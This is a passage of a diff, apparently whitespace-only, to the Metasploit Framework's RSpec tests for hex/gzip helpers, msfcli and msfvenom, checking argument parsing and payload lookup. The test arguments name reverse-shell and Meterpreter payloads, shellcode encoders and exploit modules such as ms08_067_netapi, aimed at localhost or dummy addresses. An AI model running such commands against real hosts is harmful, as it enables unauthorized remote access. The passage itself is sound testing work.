eq("\\x1f") + described_class.to_hex_ascii("\x00"*100).should eq("\\x00"*100) + end + it "should not mess with printables" do + described_class.to_hex_ascii("A").should eq("A") + described_class.to_hex_ascii("A\x7f").should eq("A\\x7f") + end + end - context ".gzip" do - it "should return a properly formatted gzip file" do - str = described_class.gzip("hi mom") - str[0,4].should eq("\x1f\x8b\x08\x00") # Gzip magic - # bytes 4 through 9 are a time stamp - str[10..-1].should eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00") - end - end + context ".gzip" do + it "should return a properly formatted gzip file" do + str = described_class.gzip("hi mom") + str[0,4].should eq("\x1f\x8b\x08\x00") # Gzip magic + # bytes 4 through 9 are a time stamp + str[10..-1].should eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00") + end + end - context ".ungzip" do - it "should return an uncompressed string" do - gzip = "\x1f\x8b\x08\x00" - gzip << "\x00" * 6 - gzip << "\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00" - described_class.ungzip(gzip).should eq("hi mom") - end - end + context ".ungzip" do + it "should return an uncompressed string" do + gzip = "\x1f\x8b\x08\x00" + gzip << "\x00" * 6 + gzip << "\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00" + described_class.ungzip(gzip).should eq("hi mom") + end + end - end + end end diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index bc89d9df21..4cc5a988ec 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -10,378 +10,378 @@ require 'msf/base' describe Msfcli do - # Get stdout: - # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end + # Get stdout: + # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec + def get_stdout(&block) + out = $stdout + $stdout = fake = StringIO.new + begin + yield + ensure + $stdout = out + end + fake.string + end - context "Class methods" do - context ".initialize" do - it "should give me the correct module name in key :module_name after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq('multi/handler') - end + context "Class methods" do + context ".initialize" do + it "should give me the correct module name in key :module_name after object initialization" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:module_name].should eq('multi/handler') + end - it "should give me the correct mode in key :mode after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('E') - end + it "should give me the correct mode in key :mode after object initialization" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:mode].should eq('E') + end - it "should give me the correct module parameters after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:params].should eq(['payload=windows/meterpreter/reverse_tcp', 'lhost=127.0.0.1']) - end + it "should give me the correct module parameters after object initialization" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:params].should eq(['payload=windows/meterpreter/reverse_tcp', 'lhost=127.0.0.1']) + end - it "should give me an exploit name without the prefix 'exploit'" do - args = "exploit/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end + it "should give me an exploit name without the prefix 'exploit'" do + args = "exploit/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") + end - it "should give me an exploit name without the prefix 'exploits'" do - args = "exploits/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end + it "should give me an exploit name without the prefix 'exploits'" do + args = "exploits/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") + end - it "should set mode 's' (summary)" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp s" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('s') - end + it "should set mode 's' (summary)" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp s" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:mode].should eq('s') + end - it "should set mode 'h' (help) as default" do - args = "multi/handler" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('h') - end - end + it "should set mode 'h' (help) as default" do + args = "multi/handler" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:mode].should eq('h') + end + end - context ".usage" do - it "should see a help menu" do - out = get_stdout { - cli = Msfcli.new([]) - cli.usage - } - out.should =~ /Usage/ - end - end + context ".usage" do + it "should see a help menu" do + out = get_stdout { + cli = Msfcli.new([]) + cli.usage + } + out.should =~ /Usage/ + end + end - # - # This one is slow because we're loading all modules - # - context ".dump_module_list" do - it "it should dump a list of modules" do - tbl = '' - stdout = get_stdout { - cli = Msfcli.new([]) - tbl = cli.dump_module_list - } - tbl.should =~ /Exploits/ and stdout.should =~ /Please wait/ - end - end + # + # This one is slow because we're loading all modules + # + context ".dump_module_list" do + it "it should dump a list of modules" do + tbl = '' + stdout = get_stdout { + cli = Msfcli.new([]) + tbl = cli.dump_module_list + } + tbl.should =~ /Exploits/ and stdout.should =~ /Please wait/ + end + end - context ".guess_payload_name" do - cli = Msfcli.new([]) + context ".guess_payload_name" do + cli = Msfcli.new([]) - it "should contain matches nedded for windows/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('windows/meterpreter/reverse_tcp') - m.should eq([/stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) - end + it "should contain matches nedded for windows/meterpreter/reverse_tcp" do + m = cli.guess_payload_name('windows/meterpreter/reverse_tcp') + m.should eq([/stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) + end - it "should contain matches needed for windows/shell/reverse_tcp" do - m = cli.guess_payload_name('windows/shell/reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) - end + it "should contain matches needed for windows/shell/reverse_tcp" do + m = cli.guess_payload_name('windows/shell/reverse_tcp') + m.should eq([/stages\/windows\/shell/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) + end - it "should contain matches needed for windows/shell_reverse_tcp" do - m = cli.guess_payload_name('windows/shell_reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(singles|stagers|stages)\/windows\/.*(shell_reverse_tcp)\.rb$/]) - end + it "should contain matches needed for windows/shell_reverse_tcp" do + m = cli.guess_payload_name('windows/shell_reverse_tcp') + m.should eq([/stages\/windows\/shell/, /payloads\/(singles|stagers|stages)\/windows\/.*(shell_reverse_tcp)\.rb$/]) + end - it "should contain matches needed for php/meterpreter_reverse_tcp" do - m = cli.guess_payload_name('php/meterpreter_reverse_tcp') - m.should eq([/stages\/php\/meterpreter/, /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/]) - end + it "should contain matches needed for php/meterpreter_reverse_tcp" do + m = cli.guess_payload_name('php/meterpreter_reverse_tcp') + m.should eq([/stages\/php\/meterpreter/, /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/]) + end - it "should contain matches needed for linux/x86/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('linux/x86/meterpreter/reverse_tcp') - m.should eq([/stages\/linux\/x86\/meterpreter/, /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/]) - end + it "should contain matches needed for linux/x86/meterpreter/reverse_tcp" do + m = cli.guess_payload_name('linux/x86/meterpreter/reverse_tcp') + m.should eq([/stages\/linux\/x86\/meterpreter/, /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/]) + end - it "should contain matches needed for java/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('java/meterpreter/reverse_tcp') - m.should eq([/stages\/java\/meterpreter/, /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/]) - end + it "should contain matches needed for java/meterpreter/reverse_tcp" do + m = cli.guess_payload_name('java/meterpreter/reverse_tcp') + m.should eq([/stages\/java\/meterpreter/, /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/]) + end - it "should contain matches needed for cmd/unix/reverse" do - m = cli.guess_payload_name('cmd/unix/reverse') - m.should eq([/stages\/cmd\/shell/, /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/]) - end + it "should contain matches needed for cmd/unix/reverse" do + m = cli.guess_payload_name('cmd/unix/reverse') + m.should eq([/stages\/cmd\/shell/, /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/]) + end - it "should contain matches needed for bsd/x86/shell_reverse_tcp" do - m = cli.guess_payload_name('bsd/x86/shell_reverse_tcp') - m.should eq([/stages\/bsd\/x86\/shell/, /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/]) - end - end + it "should contain matches needed for bsd/x86/shell_reverse_tcp" do + m = cli.guess_payload_name('bsd/x86/shell_reverse_tcp') + m.should eq([/stages\/bsd\/x86\/shell/, /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/]) + end + end - context ".guess_encoder_name" do - cli = Msfcli.new([]) - it "should contain a match for x86/shikata_ga_nai" do - encoder = 'x86/shikata_ga_nai' - m = cli.guess_encoder_name(encoder) - m.should eq([/encoders\/#{encoder}/]) - end - end + context ".guess_encoder_name" do + cli = Msfcli.new([]) + it "should contain a match for x86/shikata_ga_nai" do + encoder = 'x86/shikata_ga_nai' + m = cli.guess_encoder_name(encoder) + m.should eq([/encoders\/#{encoder}/]) + end + end - context ".guess_nop_name" do - cli = Msfcli.new([]) - it "should contain a match for guess_nop_name" do - nop = 'x86/single_byte' - m = cli.guess_nop_name(nop) - m.should eq([/nops\/#{nop}/]) - end - end + context ".guess_nop_name" do + cli = Msfcli.new([]) + it "should contain a match for guess_nop_name" do + nop = 'x86/single_byte' + m = cli.guess_nop_name(nop) + m.should eq([/nops\/#{nop}/]) + end + end - context ".generate_whitelist" do - it "should generate a whitelist for linux/x86/shell/reverse_tcp with encoder x86/fnstenv_mov" do - args = "multi/handler payload=linux/x86/shell/reverse_tcp lhost=127.0.0.1 encoder=x86/fnstenv_mov E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/linux\/x86\/shell/, - /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, - /encoders\/x86\/fnstenv_mov/, - /post\/.+/, - /encoders\/generic\/*/, - /nops\/.+/ - ].map { |e| e.to_s } + context ".generate_whitelist" do + it "should generate a whitelist for linux/x86/shell/reverse_tcp with encoder x86/fnstenv_mov" do + args = "multi/handler payload=linux/x86/shell/reverse_tcp lhost=127.0.0.1 encoder=x86/fnstenv_mov E" + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ + /multi\/handler/, + /stages\/linux\/x86\/shell/, + /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, + /encoders\/x86\/fnstenv_mov/, + /post\/.+/, + /encoders\/generic\/*/, + /nops\/.+/ + ].map { |e| e.to_s } - list.should eq(answer) - end + list.should eq(answer) + end - it "should generate a whitelist for windows/meterpreter/reverse_tcp with default options" do - args = 'multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E' - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /post\/.+/, - /encoders\/generic\/*/, - /encoders\/.+/, - /nops\/.+/ - ].map { |e| e.to_s } + it "should generate a whitelist for windows/meterpreter/reverse_tcp with default options" do + args = 'multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E' + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /post\/.+/, + /encoders\/generic\/*/, + /encoders\/.+/, + /nops\/.+/ + ].map { |e| e.to_s } - list.should eq(answer) - end + list.should eq(answer) + end - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder='' post='' nop=''" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder='' post='' nop='' E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/''/, - /post\/''/, - /nops\/''/, - /encoders\/generic\/*/ - ].map { |e| e.to_s } + it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder='' post='' nop=''" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder='' post='' nop='' E" + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /encoders\/''/, + /post\/''/, + /nops\/''/, + /encoders\/generic\/*/ + ].map { |e| e.to_s } - list.should eq(answer) - end + list.should eq(answer) + end - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder= post= nop=" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder= post= nop= E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/generic\/*/ - ].map { |e| e.to_s } + it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder= post= nop=" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder= post= nop= E" + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /encoders\/generic\/*/ + ].map { |e| e.to_s } - list.should eq(answer) - end - end + list.should eq(answer) + end + end - context ".init_modules" do - it "should have multi/handler module initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } + context ".init_modules" do + it "should have multi/handler module initialized" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + m = '' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + } - m[:module].class.to_s.should =~ /^Msf::Modules::/ - end + m[:module].class.to_s.should =~ /^Msf::Modules::/ + end - it "should have my payload windows/meterpreter/reverse_tcp initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } + it "should have my payload windows/meterpreter/reverse_tcp initialized" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + m = '' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + } - m[:payload].class.to_s.should =~ /<Class:/ - end + m[:payload].class.to_s.should =~ /<Class:/ + end - it "should have my modules initialized with the correct parameters" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } + it "should have my modules initialized with the correct parameters" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + m = '' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + } - m[:module].datastore['lhost'].should eq("127.0.0.1") - end + m[:module].datastore['lhost'].should eq("127.0.0.1") + end - it "should give me an empty hash as a result of an invalid module name" do - args = "WHATEVER payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } + it "should give me an empty hash as a result of an invalid module name" do + args = "WHATEVER payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + m = '' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + } - m.should eq({}) - end - end + m.should eq({}) + end + end - context ".engage_mode" do - it "should show me the summary of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version s' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } + context ".engage_mode" do + it "should show me the summary of module auxiliary/scanner/http/http_version" do + args = 'auxiliary/scanner/http/http_version s' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } - stdout.should =~ /Module: auxiliary\/scanner\/http\/http_version/ - end + stdout.should =~ /Module: auxiliary\/scanner\/http\/http_version/ + end - it "should show me the options of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version O' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } + it "should show me the options of module auxiliary/scanner/http/http_version" do + args = 'auxiliary/scanner/http/http_version O' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } - stdout.should =~ /The target address range or CIDR identifier/ - end + stdout.should =~ /The target address range or CIDR identifier/ + end - it "should me the advanced options of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version A' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } + it "should me the advanced options of module auxiliary/scanner/http/http_version" do + args = 'auxiliary/scanner/http/http_version A' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } - stdout.should =~ /UserAgent/ - end + stdout.should =~ /UserAgent/ + end - it "should show me the IDS options of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version I' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /Insert fake relative directories into the uri/ - end + it "should show me the IDS options of module auxiliary/scanner/http/http_version" do + args = 'auxiliary/scanner/http/http_version I' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /Insert fake relative directories into the uri/ + end - it "should show me the targets available for module windows/browser/ie_cbutton_uaf" do - args = "windows/browser/ie_cbutton_uaf T" - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /IE 8 on Windows 7/ - end + it "should show me the targets available for module windows/browser/ie_cbutton_uaf" do + args = "windows/browser/ie_cbutton_uaf T" + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /IE 8 on Windows 7/ + end - it "should show me the payloads available for module windows/browser/ie_cbutton_uaf" do - args = "windows/browser/ie_cbutton_uaf P" - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /windows\/meterpreter\/reverse_tcp/ - end + it "should show me the payloads available for module windows/browser/ie_cbutton_uaf" do + args = "windows/browser/ie_cbutton_uaf P" + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /windows\/meterpreter\/reverse_tcp/ + end - it "should try to run the check function of an exploit" do - args = "windows/smb/ms08_067_netapi rhost=0.0.0.1 C" # Some BS IP so we can fail - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /failed/ - end + it "should try to run the check function of an exploit" do + args = "windows/smb/ms08_067_netapi rhost=0.0.0.1 C" # Some BS IP so we can fail + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /failed/ + end - it "should warn my auxiliary module isn't supported by mode 'p' (show payloads)" do - args = 'auxiliary/scanner/http/http_version p' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /This type of module does not support payloads/ - end + it "should warn my auxiliary module isn't supported by mode 'p' (show payloads)" do + args = 'auxiliary/scanner/http/http_version p' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /This type of module does not support payloads/ + end - it "should warn my auxiliary module isn't supported by mode 't' (show targets)" do - args = 'auxiliary/scanner/http/http_version t' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /This type of module does not support targets/ - end + it "should warn my auxiliary module isn't supported by mode 't' (show targets)" do + args = 'auxiliary/scanner/http/http_version t' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /This type of module does not support targets/ + end - it "should warn my exploit module isn't supported by mode 'ac' (show actions)" do - args = 'windows/browser/ie_cbutton_uaf ac' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /This type of module does not support actions/ - end + it "should warn my exploit module isn't supported by mode 'ac' (show actions)" do + args = 'windows/browser/ie_cbutton_uaf ac' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /This type of module does not support actions/ + end - it "should show actions available for module auxiliary/scanner/http/http_put" do - args = "auxiliary/scanner/http/http_put ac" - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /DELETE/ - end + it "should show actions available for module auxiliary/scanner/http/http_put" do + args = "auxiliary/scanner/http/http_put ac" + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /DELETE/ + end - end + end - end + end end \ No newline at end of file diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index d3db1ea226..9f098ee561 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -5,263 +5,263 @@ require 'msf/core' load File.join(Msf::Config.install_root, 'msfvenom') shared_examples_for "nop dumper" do - it "should list known nops" do - %w! - x86/opty2 - armle/simple - !.each do |name| - dump.should include(name) - end - end + it "should list known nops" do + %w! + x86/opty2 + armle/simple + !.each do |name| + dump.should include(name) + end + end end shared_examples_for "encoder dumper" do - it "should list known encoders" do - %w! - generic/none - x86/shikata_ga_nai - x64/xor - !.each do |name| - dump.should include(name) - end - end + it "should list known encoders" do + %w! + generic/none + x86/shikata_ga_nai + x64/xor + !.each do |name| + dump.should include(name) + end + end end shared_examples_for "payload dumper" do - it "should list known payloads" do - # Just a representative sample of some of the important ones. - %w! - cmd/unix/reverse - java/meterpreter/reverse_tcp - java/meterpreter/reverse_https - linux/x86/shell/reverse_tcp - linux/x86/shell_reverse_tcp - linux/x64/shell/reverse_tcp - linux/x64/shell_reverse_tcp - linux/armle/shell/reverse_tcp - linux/armle/shell_reverse_tcp - linux/mipsbe/shell_reverse_tcp - php/meterpreter/reverse_tcp - windows/meterpreter/reverse_tcp - windows/meterpreter/reverse_https - !.each do |name| - dump.should include(name) - end - end + it "should list known payloads" do + # Just a representative sample of some of the important ones. + %w! + cmd/unix/reverse + java/meterpreter/reverse_tcp + java/meterpreter/reverse_https + linux/x86/shell/reverse_tcp + linux/x86/shell_reverse_tcp + linux/x64/shell/reverse_tcp + linux/x64/shell_reverse_tcp + linux/armle/shell/reverse_tcp + linux/armle/shell_reverse_tcp + linux/mipsbe/shell_reverse_tcp + php/meterpreter/reverse_tcp + windows/meterpreter/reverse_tcp + windows/meterpreter/reverse_https + !.each do |name| + dump.should include(name) + end + end end describe MsfVenom do - let(:stdin) { StringIO.new("", "rb") } - let(:stdout) { StringIO.new("", "wb") } - let(:stderr) { StringIO.new("", "wb") } - subject(:venom) { described_class.new(stdin, stdout, stderr, framework) } - before(:each) do - conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config') - conf_dir.mkpath - end - after(:each) do - dummy_dir = Metasploit::Framework.root.join('spec', 'dummy') - dummy_dir.rmtree - end + let(:stdin) { StringIO.new("", "rb") } + let(:stdout) { StringIO.new("", "wb") } + let(:stderr) { StringIO.new("", "wb") } + subject(:venom) { described_class.new(stdin, stdout, stderr, framework) } + before(:each) do + conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config') + conf_dir.mkpath + end + after(:each) do + dummy_dir = Metasploit::Framework.root.join('spec', 'dummy') + dummy_dir.rmtree + end - before(:all) do - conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config') - conf_dir.mkpath - create_opts = { - :module_types => [ - ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP - ], - 'ConfigDirectory' => conf_dir.to_s, - 'DisableDatabase' => true - } - @framework = ::Msf::Simple::Framework.create(create_opts) - end + before(:all) do + conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config') + conf_dir.mkpath + create_opts = { + :module_types => [ + ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP + ], + 'ConfigDirectory' => conf_dir.to_s, + 'DisableDatabase' => true + } + @framework = ::Msf::Simple::Framework.create(create_opts) + end - let(:framework) { @framework } - describe "#dump_encoders" do - it_behaves_like "encoder dumper" do - let(:dump) { venom.dump_encoders } - end - end + let(:framework) { @framework } + describe "#dump_encoders" do + it_behaves_like "encoder dumper" do + let(:dump) { venom.dump_encoders } + end + end - describe "#dump_nops" do - it_behaves_like "nop dumper" do - let(:dump) { venom.dump_nops } - end - end + describe "#dump_nops" do + it_behaves_like "nop dumper" do + let(:dump) { venom.dump_nops } + end + end - describe "#dump_payloads" do - it_behaves_like "payload dumper" do - let(:dump) { venom.dump_payloads } - end - end + describe "#dump_payloads" do + it_behaves_like "payload dumper" do + let(:dump) { venom.dump_payloads } + end + end - describe "#parse_args" do + describe "#parse_args" do - context "help" do - it "should raise UsageError" do - expect { venom.parse_args(%w! -h !) }.to raise_error(MsfVenom::UsageError) - expect { venom.parse_args(%w! --help !) }.to raise_error(MsfVenom::UsageError) - expect { venom.parse_args(%w! --help-formats !) }.to raise_error(MsfVenom::UsageError) - end - end + context "help" do + it "should raise UsageError" do + expect { venom.parse_args(%w! -h !) }.to raise_error(MsfVenom::UsageError) + expect { venom.parse_args(%w! --help !) }.to raise_error(MsfVenom::UsageError) + expect { venom.parse_args(%w! --help-formats !) }.to raise_error(MsfVenom::UsageError) + end + end - context "with bad arguments" do + context "with bad arguments" do - it "should raise UsageError with empty arguments" do - expect { venom.parse_args([]) }.to raise_error(MsfVenom::UsageError) - end + it "should raise UsageError with empty arguments" do + expect { venom.parse_args([]) }.to raise_error(MsfVenom::UsageError) + end - it "should raise with unexpected options" do - expect { venom.parse_args(%w! --non-existent-option !) }.to raise_error(MsfVenom::UsageError) - end + it "should raise with unexpected options" do + expect { venom.parse_args(%w! --non-existent-option !) }.to raise_error(MsfVenom::UsageError) + end - %w! --platform -a -b -c -f -p -n -s -i -x !.each do |required_arg| - it "should raise UsageError with no arg for option #{required_arg}" do - expect { venom.parse_args([required_arg]) }.to raise_error(MsfVenom::UsageError) - end - end + %w! --platform -a -b -c -f -p -n -s -i -x !.each do |required_arg| + it "should raise UsageError with no arg for option #{required_arg}" do + expect { venom.parse_args([required_arg]) }.to raise_error(MsfVenom::UsageError) + end + end - end + end - end + end - describe "#generate_raw_payload" do + describe "#generate_raw_payload" do - before do - venom.parse_args(args) - end + before do + venom.parse_args(args) + end - context "with --options" do + context "with --options" do - context "and a payload" do - let(:args) { %w! -o -p windows/meterpreter/reverse_tcp ! } - it "should print options" do - expect { venom.generate_raw_payload }.to_not raise_error - output = stderr.string - output.should include("LHOST") - output.should include("LPORT") - end - context "and some 